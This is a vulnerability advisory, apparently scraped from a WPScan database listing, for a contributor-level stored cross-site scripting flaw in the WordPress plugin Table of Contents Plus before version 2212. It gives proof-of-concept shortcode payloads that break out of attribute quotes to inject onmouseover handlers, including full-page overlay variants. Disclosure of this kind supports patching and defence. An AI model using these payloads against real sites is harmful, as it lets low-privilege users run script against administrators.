Lucene search

K
wpvulndbLana CodesWPVDB-ID:10F63D30-1B36-459B-80EB-509CAAF5D377
HistoryDec 19, 2022 - 12:00 a.m.

Table of Contents Plus < 2212 - Contributor+ Stored XSS

2022-12-1900:00:00
Lana Codes
wpscan.com
26
plugin vulnerability
stored xss
shortcode attributes

EPSS

0.001

Percentile

25.4%

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.

PoC

[toc heading_levels=‘1’ class=‘" onmouseover="alert(/XSS/)’]

XSS

content

XSS

content

XSS

content

XSS

content Note: it is only generated by the shortcode if there is content for the TOC, so it must be used together, and it needs at least 4 header tags to work. [sitemap_pages heading=‘1" style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)//’] [sitemap_categories heading=‘1" style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)//’]

EPSS

0.001

Percentile

25.4%

Related for WPVDB-ID:10F63D30-1B36-459B-80EB-509CAAF5D377